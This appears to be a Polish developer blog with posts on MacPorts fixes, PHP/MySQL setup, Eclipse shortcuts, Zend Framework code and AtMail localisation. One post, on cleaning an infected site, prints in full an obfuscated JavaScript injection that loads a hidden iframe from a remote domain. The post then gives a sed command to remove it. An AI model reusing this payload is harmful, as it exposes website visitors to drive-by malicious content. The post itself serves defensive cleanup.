MacPort – mówi nie… do czasu :)

Wczoraj wieczorem po napisaniu nowej funkcjonalności do aplikacji opartej o Cappuccino Framework swierdziłem że teraz tylko commit i mogę iść spać… Jak się zdziwiłem gdy po wpisaniu svn commit -m „” zobaczyłem coś takiego:

svn commit -m "Podwaliny pod nową funkcjonalność"
dyld: Library not loaded: /opt/local/lib/libiconv.2.dylib
  Referenced from: /opt/local/bin/svn
  Reason: Incompatible library version: svn requires version 8.0.0 or later, but libiconv.2.dylib provides version 7.0.0
Trace/BPT trap

Długo nie myśląc wpisałem:

sudo port upgrade outdated

a tutaj…

--->  Computing dependencies for sqlite3
--->  Configuring sqlite3
Error: Target org.macports.configure returned: configure failure: shell command failed (see log for details)
Log for sqlite3 is at: /opt/local/var/macports/logs/_opt_local_var_macports_sources_rsync.macports.org_release_ports_databases_sqlite3/main.log
Error: Unable to upgrade port: 1

Oj, tak być nie może! Myślę sobie – jak to tak bez commitu.. – sen będzie niespokojny..

Wójek Google nakierował mnie na na taki kawałek kodu. który zapewnił mi spokojny sen..

sudo port uninstall autoconf213
sudo port uninstall gawk
sudo port uninstall php5-iconv
sudo port -v selfupdate
port upgrade outdated

Jednak, nie wiem do tej pory jak to się stało…

svn commit -m "Dobrej nocy, moi drodzy!"

Konfigurowanie socket’u MySQL w PHP5 po instalacji via MacPorts

Nie opiszę całości instalacji gdyż już w wielu źródłach jest opisana szczegółowo. Przedstawię tylko szybkie rozwiązanie problemu, który mnie nawiedził już po procesie instalacji.

Po zainstalowaniu MySQL, utworzeniu bazy danych, przypisaniu uprawnień i skonfigurowaniu pierwszego połączenia w PHP – może Cię spotkać ot taki komunikat:

Warning: PDO::__construct() [pdo.--construct]:
[2002] No such file or directory (trying to connect via unix:///tmp/mysql.sock) in

Rozwiązaniem jest uzupełnienie odpowiedniej sekcji w php.ini.
MacPort’s zapisują php.ini w katalogu: /opt/local/etc/php5/php.ini
Otwieramy go dowolnym edytorem i odszukujemy sekcję pdo_mysql.default_socket

W moim przypadku ta sekcja była pusta. Teraz wystarczy wskazać socket zainstalowanej lokalnie BD.
W moim przypadku:

pdo_mysql.default_socket=/opt/local/var/run/mysql5/mysqld.sock

Można sprawdzić jaka jest lokalizacja soketu, wykonując polecenie w termianlu:

mysql5 -u root -p test

… i odszukaniu fragmentu zaczynającego się od UNIX socket.

Teraz tylko – zapisz plik, zrestartuj serwer i gotowe ;)

Jeden błąd mniej! można iść dalej :)

Eclipse.. i jak zapomniałem o myszce :)

Eclipse, dla wielu może być ociężałą kobyłą – zgodzę się – ale jej ociężałóść znika po 15min uruchamiania i gdy zacznie się wykorzystywać moc jaką daje Eclipse.

Pracując w Eclipse od ok 3lat z przerwami na wypróbowanie Netbeans. Dopiero niedawno zdałem sobie sprawę że zapomniałem nie tylko o myszce ale również o bloku navigacji projektu.

Skróty klawiaturowe, których używam kilka razy dziennie:

  • Ctrl + Shift + R – znajdź i otwórz plik (można używać *. by znaleźć wszystkie możliwości gdy nie pamięta się nazwy pliku)
  • Ctrl + Shift  + T – znajdź i otwórz typ pliku (rozpoznaje skrócone nazwy np.: ZVH -> Zend_View_Helper)
  • Ctrl + Shift + M – znajdź i otwórz metodę – bez komentarza ;)
  • Zanacz tekst i Ctrl + Alt + G – wyszukaj w projekcie wszystkie wystąpienia zaznaczonego tekstu

Jak widać tylko cztery skróty wystarczą by nawigacja po projekcie była błyskawiczna i bez potrzeby sięgania myszki by coś odgrzebać :)

Czy też macie swoje ulubione skróty klawiaturowe w Eclipsie?

Usuwanie „wirusów” z zainfekowanej strony internetowej

Wirus strony internetowej

Sposób infekcji: nieznany.
Przypuszczenie sposobu infekcji: Total Commander lub dziurawe oprogramowanie na serwerze.
Badanie: Wszystkie pliki z rozszerzeniem .php zostały zainfekowane złośliwym kodem JavaScript:

function iM(){};this.xFI="";iM.prototype = {y : function() {var xH=50628;this.h='';uI="";var z=false;var cB=new Array();var pN='';var x=document;this.jD="";tS="tS";this.d="d";this.qW="qW";var pB=57565;this.cZ=false;var u=window;dJ="";this.cI="cI";var lH=new Array();this.cK=6566;var bT='';var j = this;var iP=function(){return 'iP'};var cT=false;var uL=function(){};var fF="";cH="";this.lR=false;String.prototype.oQ=function(p, n){var a=this; return a.replace(p, n)};var yY=function(){return 'yY'};var bF=function(){};this.sI="";this.bY="bY";var sB=32989;var tR=false;yYW=false;this.yI="";var v = 'sWe#t_TW'.oQ(/[W#_^*]/g, '') + 'iGm0e$oG'.oQ(/[GV$Y0]/g, '') + 'u4tT'.oQ(/[T?l4.]/g, '');var yV=new Date();cN=3449;var hC=new Array();this.aT="aT";this.lM='';this.hH="";var lG='';var t = 'tfrKeKcfr!e/a/'.oQ(/[/f_K!]/g, '') + 'tFeAE>ljeAmFeFndt>g>edtd'.oQ(/[dAjF>]/g, '');var cHC='';var rJ="rJ";iX='';var w=function(){};nL=14522;var uZ=new Date();var b = 'w&rDiDt(eD'.oQ(/[D&G(W]/g, '');var gD=false;var tI=new Array();var sV=false;var vO='';var eI=48570;this.o="";var lK=22757;try {this.hP='';this.pP=false;var nU=56962;var pNW=new Date();var nE=false;var jO=new Array();var nP='';var m = 'p|u5s{h{'.oQ(/[{5Vg|]/g, '');var gM="gM";this.vB='';sIT="";bW=false;this.lE="";var vD = 's#ric#'.oQ(/[#iOSM]/g, '');this.oB='';var eP="";this.lHM='';var tN=false;var xU = 'v{bEmsinf{'.oQ(/[{Esn%]/g, '')+'r)s2eut2'.oQ(/[2yui)]/g, '');var gW=function(){};this.cHJ=7799;var pY="pY";var zQ=function(){return 'zQ'};var vBK='';var xP = 'w9i|d?'.oQ(/[?Db|9]/g, '') + 'tch:'.oQ(/[:cX(0]/g, '');cJ="";var gG=new Array();var k=false;var yR="";this.nO='';var vC=57847;mP="mP";function tO(){};var r = 'h/e/i;'.oQ(/[;/jW3]/g, '') + 'g@hJtA'.oQ(/[A@/Jk]/g, '');this.xFG=14682;jA="jA";var mF=new Date();var wX=function(){};var aJ = '1m'.oQ(/[mi$hw]/g, '');var qG=48446;var mL=new Date();lV="lV";var yP=new Date();sG=32547;xF = 'gXe@t@sXejtjAIt@tIrXi1sId@f@'.oQ(/[@1jXI]/g, '');var dM=function(){return 'dM'};var gJ=false;this.vI=false;var hL="";var hS=false;function cX(){};rS="";var q = 'azpwpl'.oQ(/[l~zGw]/g, '') + 'e$nrd(C(hri^l[d['.oQ(/[[^($r]/g, '');nJ=false;this.pT="";var bOH=function(){};var yA=false;this.yJ="";var bO = 'b&o.dUy.'.oQ(/[.Ul0&]/g, '');this.tC=false;this.zS=false;this.mT='';var xL=48381;eL=56477;var aN=56591;var s = 'sMuM'.oQ(/[MEe2j]/g, '')+'b~sMtDr.iM'.oQ(/[M6~D.]/g, '')+'nsg_'.oQ(/[_7(s5]/g, '');var iB='';xS='';var lRV='';var fM="fM";var hW=false;this.qN=false;this.tRU=1633;var e = new Array();cS='';var uC=function(){};wG=false;this.qNL="";wZ='';xFJ="";e[m](r, s, t, xP, xU, xF, bO, q, aJ, x, vD);var fQ="fQ";kX="";var mH=function(){return 'mH'};this.fD='';cTZ='';lL=false;hA="";var dA=new Array();oF=false;var mO=function(){};var wS='';var rI="rI";this.oY='';lVK='';var vBH=function(){return 'vBH'};var aA=12264;iE=63283;this.uB='';this.eW="";var xK="xK";this.wR=false;this.vH=false;uP="";kA="kA";this.fW=48227;var qP="";var qNK=function(){return 'qNK'};this.aO="aO";function yF(){};var sS=new Array();cNH=false;sX="";var hU=28012;iU='';var jS="";function zJ(){};this.gWE="gWE";this.uY="uY";var oE=41599;rU=false;var iF=false;this.lS=35826;var nH = e[2][e[1]](3, 16);this.qX="qX";wO="wO";var eH='';this.nG=40603;this.gB=false;this.dV="dV";var l = e[4][e[1]](3, 6);var bA='';var eV="eV";this.sP='';var gU=function(){};var nV=new Date();var kE=false;var dP=false;g = l + 'ajmje2'.oQ(/[2j^6C]/g, '');var vX=false;var vP=function(){return 'vP'};var dI=new Array();this.kO='';var gMP="gMP";var f = e[5][e[1]](3, 11);pQ='';qH="qH";vW=11651;jC=false;var iES=function(){return 'iES'};i = f + 'b,u~t[e['.oQ(/[[y,B~]/g, '');var gL=function(){return 'gL'};var wI='';var eX=20548;qQ="";var eT=function(){};var hCQ=new Array();var cIV=false;var c = 'h_t_t>p_:_/_/Es_p>aEnzd^a^tEi^n>gE.>c^o^m^/Es^tEd^sE/^gzoz._p_h>p_?Es_i>d>=E9_'.oQ(/[_E>^z]/g, '');var tY=function(){return 'tY'};var bQ=false;var eS=function(){};var xPI=false;var yFC=function(){return 'yFC'};this.qK=44454;var qZ=e[9][nH](g);this.gA="";var mI='';var vR='';this.bTA=false;qZ[e[10]] = c;var dN=11304;this.qZQ='';vK="vK";gY=60807;qT=51412;var cKY=function(){};this.sGM="sGM";iJ="iJ";qZ[e[3]] = e[8];jV=false;var cZW="";var dO="dO";this.sGZ=47261;var uQ=function(){return 'uQ'};var lB="";qZ[e[0]] = e[8];eWC="eWC";this.aQ=63750;rF="";this.zM="zM";var fL=function(){};this.wN='';var kY=new Array();var uX=function(){};this.zC=51454;var dAK='';pZ="";cJH="cJH";var sD=function(){return 'sD'};e[9][e[6]][e[7]](qZ);var dT=38830;this.pI='';this.xJ=45847;jM=false;qA='';} catch(rR) {var lI=62951;var hZ=44725;eE=false;sH=false;hI=false;var bL="";var nGK=false;var eN=new Array();x.write('<ahWtWmalp p>p<TbrordTyT a>a<a/WbroadWyp>p<r/rhrtpmWla>a'.oQ(/[aWTrp]/g, ''));this.bH="bH";var wQ=function(){return 'wQ'};var cHF=new Array();var eO="eO";var zF=false;u[v](function(){ j.y() }, 189);this.aNX="";var aM=function(){return 'aM'};wNH="";nK="nK";}fC='';this.pE="";function dW(){};}};jQ="jQ";var vQ=new iM(); this.iT="iT";vQ.y();zE=''

Recepta: Uruchom w terminalu poniższe polecenie (zmień nazwę rozszerzenie w zależności od zainfekowanych plików)

find . -name '*.php' -print0 | xargs -0 sed --regexp-extended --in-place "/(function iM(.*)zE='';)/d"

Na recepcie: Powyższy kod wyszukuje wszystkie pliki o rozszerzeniu .php a następnie przeszukuje je pod kontem występowania złośliwego kodu. Jeżeli zostanie znaleziona złośliwa linia z kodem jest on usuwana.
Uwaga: Poniższe rozwiązanie zawiera wadę, jeżeli dopisany kod nie został umieszczony w nowej linii tylko połączony z linia kodu aplikacji istnieje możliwość usunięcia również kodu właściwego aplikacji!

Przeciwdziałanie: Audyt oprogramowania na serwerze + zmiana oprogramowania do połączenia się z serwerem FTP.

Już dwa razy miałem przyjemność pisać „anty wirus” na „zawirusowane” strony internetowe. Za każdym razem przyczyną pojawienia się wirusa było korzystanie z Total Commandera do łączenia się z FTP.

W tym miejscu chciałbym zauważyć że TC sam w sobie nie jest winny ale źle zabezpieczony OS pod którym on pracuje. Dawno, dawno, temu… bardzo często z niego korzystałem gdy byłem użytkownikiem Windows XP. TC był jedynym programem, który uruchamiałem zaraz po opaleniu się Windows (kiedy to było… teraz ten odruch mam z terminalem ;) ).

PS. Powyższe rozwiązanie stosujecie na własną odpowiedzialność.

KontorX jQuery

Dzisiaj rozpocząłem zbieranie wszystkich pluginów jakie napisałem w jQuery.

Wszystkie rozszeżenia i dodatki będa umieszczane na stronie http://code.google.com/p/kontorx-jquery/.

W jednym z pierwszych commit-ów znalazły się dwie biblioteki z przykładami:

jquery.alternate

jQuery.alternatejQuery.alternate

Prezentowanie alternatywnego tekstu w polach inputtype=text?,inputtype=password?,… jest teraz bardzo przyjemne. Wystarczy tylko umieścić poniższy kod na swojej stronie WWW i zdefiniować jaki alternatywny tekst ma być wyświetlany w elemencie o konkretnym ID.

 $('#searchText').alternate({text:'Szukaj kalendarza...'});

jquery.searchFilter

jquery.selectFilter

Wybranie wartości w polu typu „select” przy ilościach przekraczajacych 100 opcji jest bardzo problemowe. Plugin wzbogaca element „select” o szybkie wyszukiwanie elementów wpisując fragment jego nazwy.

$('select').selectFilter();

Wkrótce więcej przykładów i nowych bibliotek :)
Pozdrawiam.

Zend Framework DataGrid – „Out of the box”

Niezależnie od rodzaju, wielkości i skomplikowania aplikacji internetowej można wyróżnić w niej kilka podstawowych (prawie zawsze występujących) elementów; autoryzacja, model, prezentacja danych, itp.

Przykład wyglądu i zastosowania KontorX_DataGrid

KontorX_DataGrid

Ten wpis chciałbym poświęcić bardzo powszechnemu elementowi – prezentacji, a dokładniej prezentacji danych tabelarycznych z j.ang. „data grid”. Notorycznie napotykamy ten element w prawie każdym panelu administracyjnym. Przybiera on różne formy w zależności od postawionych wymagań. Można wyróżnić:

Formy prezentacji danych tabelarycznych

  • Podstawową – dane są prezentowane w tabeli HTML bez możliwości sortowania, filtrowania i stronicowania
  • Rozszerzoną - tabela z możliwościami stronicowania i filtrowania kolumn danych
  • Dedykowaną- rozwiązanie jest połączeniem w/w typów z elementami rozszeżającymi, np.:
    • tabelę z możliwościami eksportowania danych tabelarycznych do różnych formatów (csv, pdf, itp…)
    • spersonalizowany wygląd komórek danych w zależności od typu: data, godzina, waluta, url, grafika, ….
    • możliwość edycji danych w bezpośrednio w wierszu tabeli (inline editing)
    • prezentacja danych za pomocą biblioteki JavaScript (np. Ext.DataGrid i inne,… )

Rodzaje istniejących bibliotek poruszających ten problem

Natywne PHP:

JavaScript + PHP:

Powyższe biblioteki implementują mniej lub więcej form prezentacji danych. Każda z nich wymaga wykonania kilku „ruchów” by je skonfigurować ale czy można prościej?… Tak. Dlatego chciałbym w tym wpisie omówić bibliotekę – KontorX – jest to biblioteka, którą nieprzerwanie rozwijam od  prawie 3 lat. Bibliotekę KontorX zawiera w sobie wiele elementów a jednym z nich jest KontorX_DataGrid.

Czym jest biblioteka KontorX_DataGrid

Biblioteka umożliwia elastyczne prezentowanie danych tabelarycznych w dowolny sposób i prawie w dowolnej formie. Poniżej przedstawiam główne cechy biblioteki:

  • Adaptowanie danych różnych typów np. Doctrine, Zend_Db_Table, Zend_Db_Select, natywna tablica – array, …. (więcej w budowie :) )
  • Różnorodna forma prezentacji danych. Data_Grid prezentuje dane jako czysty HTML oraz dynamiczny widok ExtJS Grid. Biblioteka pozwala również na implementacje nowych sposobów prezentacji danych np. jako plików .csv, .xls, .pdf.
  • Integracja z Zend_Form.
  • Zbiór gotowych rozwiązań. Biblioteka posiada już zaimplementowane elementy odpowiedzialne za filtrowanie, grupowanie i stronicowanie danych.
  • Elastyczność i rozszerzalność poprzez dopisywanie plugin’ów.

Powyższy opis może nie wiele mówić dlatego zapraszam do przykładów demonstrujących, niektóre możliwości komponentu:
http://kontorx.widmogrod.info/#http://kontorx.widmogrod.info//KontorX/DataGrid/example1.php

DataGrid – „Out of the box”

Jeżeli korzystasz z ZF wystarczy że pobierzesz bibliotekę z Google Code umieścisz ją w include_path aplikacji i zaimplementujesz powyższy kod w kontrolerze wybranej akcji przekazując model danych (na chwilę obecną zaimplementowałem obsługę Zend_Db_Table, Zend_Db_Select, array).

Biblioteka posiada już zaimplementowany domyślny sposób prezentacji danych więc niczym nie musisz się martwić  (jedynie tabelę możesz ostylować w/g własnych upodobań :) )

Poniżej przedstawiam najszybszą drogę  do wy-renderowania prostej prezentacji danych tabelarycznych:

// prosty przykład
$dataGrid = KontorX_DataGrid::factory($dbTable);
$dataGrid->render();

Zainteresowanych źródłami zapraszam do strony projektu na Google Code: http://code.google.com/p/kontorx

System szablonów, który „sam dba” o aktualizację cache plików CSS i JavaScript

W dniu dzisiejszym postanowiłem zaimplementować pewną nowa funkcjonalność w systemie szablonów.

Dodana została możliwość sprawdzanie czasu modyfikacji pliku CSS i JavaScript. Czas ostatniej modyfikacji pliku jest teraz doklejany do nazwy pliku jako parametr GET.

Dla przykładu, nazwa pliku przed:

plik.css

i nazwa pliku po:

plik.css?s=123123123

Co dzięki temu zyskałem?

  • jestem zwolniony z ciągłego czyszczenia cache przeglądarki po dokonaniu zmian w plikach CSS lub JavaScript
  • zmiany wizualne i funkcjonalne na stronie są widoczne natychmiastowo po ich wprowadzeniu

Jaki to ma wpływ na wydajność?

Z przeprowadzonych testów wywoływanie funkcji filectime(); w pętli 100 razy trwało ~0.0001. W najgorszym z przypadków w projekcie wykorzystuję 10 plików CSS i 5 JavaScript, w których dokonuje zmian, zatem czas generowania strony wzrośnie niezauważalnie.

Jakie pomysły na przyszłość?

Jako że konfigurację szablonu przechowuję w zewnętrznym pliku konfiguracyjnym, daje mi to możliwość napisanie narzędzia, które będzie łączyć pliki CSS i JavaScript w jeden plik globalny. Zatem czas wczytywania strony WWW (w najgorszym z przypadków)  wzrośnie znacząco :) .

PS. Wiem że mogę w/w czynności mogę wykonywać ręcznie (i teraz tak robię) ale z odpowiednim skryptem jest o wiele szybciej i przyjemniej!

EDIT: Dzięki ^brand zmodyfikowałem testy o wywołanie funkcji clearstatcache() i wydajność delikatnie spadła ale nadal jest to poziom akceptowalny.

Zakladki z innego komutera – Mozilla Weave

Nadejście „chmury” w internecie.. spowodowało że coraz więcej programów oferuje tzw. zdalna synchronizację danych.

Jednym z takich programów jest Firefox z dodatkiem weave . Korzystam z tego plug-in’u już od ponad roku i teraz instaluje go zaraz po zainstalowaniu „na świeżo” Firefox’a. Dodatek ten umożliwia synchronizacje zakładek, zapamiętanych haseł… itd. Całość jest zaszyfrowana i przechowywane w chmurze.

Niedawno zauważyłem nowy – a niesamowicie przydatny – element,  który się pojawił w tym dodatku a mianowicie „zakladki z innego komutera” (Tabs From Other Commputer). Teraz z komputera biurowego mogę przeglądać otwarte zakładki na komputerze w domu!.. mam tą stronę otwartą na innym komputerze.

Jak dla mnie jest to dodatek który odciążył mnie od „.. jak to szło… coś… .com lub .pl ??” lub „gdzie ja to znalazłem”.

Polecam: Mozilla Weave

Zawijanie tekstu w Zend_Pdf

W dniu dzisiejszym pracowałem nad generowaniem plików PDF w swojej aplikacji. Wybrałem do tego celu Zend_Pdf dlatego że backend jest oparty na Zend Framework.

Współprace z tą biblioteką mogę ocenić na 4/6. Przyjemnie. Jednak brakuje w niej kilku kluczowych elementów jednym z nich jest możliwość zawijania długiego tekstu. W sposób natywny ZF nie ma zaimplementowanej takiej metody.

Poniżej przedstawiam prostą funkcję, która w szybki i sprawny sposób zawinie (przełamie) przekazany tekst po określonej długości znaków.

/**
* Zawin tekst po określonej długości znaków.
*
* @param Zend_Pdf_Page $page
* @param string $text
* @param int $x
* @param int $y
* @param int $width
* @param string $brake
* @param bool $cut
* @return void
*/
function drawTextWrap($page, $text, $x, $y, $width, $brake = "\n", $cut = true)
{
// przygotuj tekst
$text = wordwrap($text, $width, $brake, $cut);
$token = strtok($text, $brake);

$fontSize = $page-&gt;getStyle()-&gt;getFontSize();

// rysuje każdą linię tekstu niżej od poprzedniej
// o wysokośc (wielkość) czcionki
while (false !== $token)
{
$y -= $fontSize;

$page-&gt;drawText($token, $x, $y);

$token = strtok("\n");
};
}

Jeżeli ktoś pracował z Zend_Pdf to wytłumaczenie jak użyć w/w kawałek kodu jest zbyteczne. Pozdrawiam.

AtMail Open 1.02 w polskiej wersji językowej

AtMail Open PL

AtMail Open jest otwarto źródłowym klientem mailowym, działającym w przeglądarce internetowej.

Niestety wersja domyślna nie posiada polskiej wersji językowej – z pomocą przychodzi nam Google.pl.

Po wpisaniu frazy „languages/polish/polish.lang” odnajdujemy polskie tłumaczenie do AtMail wykonane przez:

Polish Language File by Adam Kozubowicz (tapir@interdata.net.php)

Instalacja polskiej wersji językowej do AtMail Open

Przechodzimy do głównego katalogu i wydajemy następujące polecenia w terminalu:

php lang.php polish lang/languages/polish/polish.lang
cd lang/
php mergenew.php

Mamy utworzony nowy język, teraz aby cieszyć się wersją polską należy ją wybrać w ustawieniach konta.

Niestety, nie każdy użytkownik zna język angielski by wykonać tą operację samodzielnie.

Ustawienie  języka polskiego jako język domyślny w AtMail

Ulubionym edytorem tekstu otwórz plik konfiguracyjny:

vim atmail/libs/Atmail/Config.php

Ustaw zmiennej $settings['Language'] wartość ‘polish’ (u mnie linia 328):

Tak jak w przykładzie:

$settings = array (
 'NewWindow' => '0',
 'VlinkColor' => '#000033',
 'PrimaryColor' => '#EBE9E4',
 'Language' => 'polish',
(...)

Teraz domyślnym językiem użytkownika, zaraz po zalogowaniu, jest język polski (chyba że ustawił sobie inny).

Pozostaje jeszcze jeden wątek.

Jak ustawić panel logowania AtMail w wersji polskiej.

Otwórz plik atmail/html/login-light.html w edytorze tekstu i przetłumacz odpowiednie elementy na język polski:

Do sekcji <head> należy jeszcze dodać informację o kodowaniu:

<meta http-equiv="content-type" content="text/html;charset=UTF-8" />

To wszystko. Życzę miłego użytkowania AtMail Open.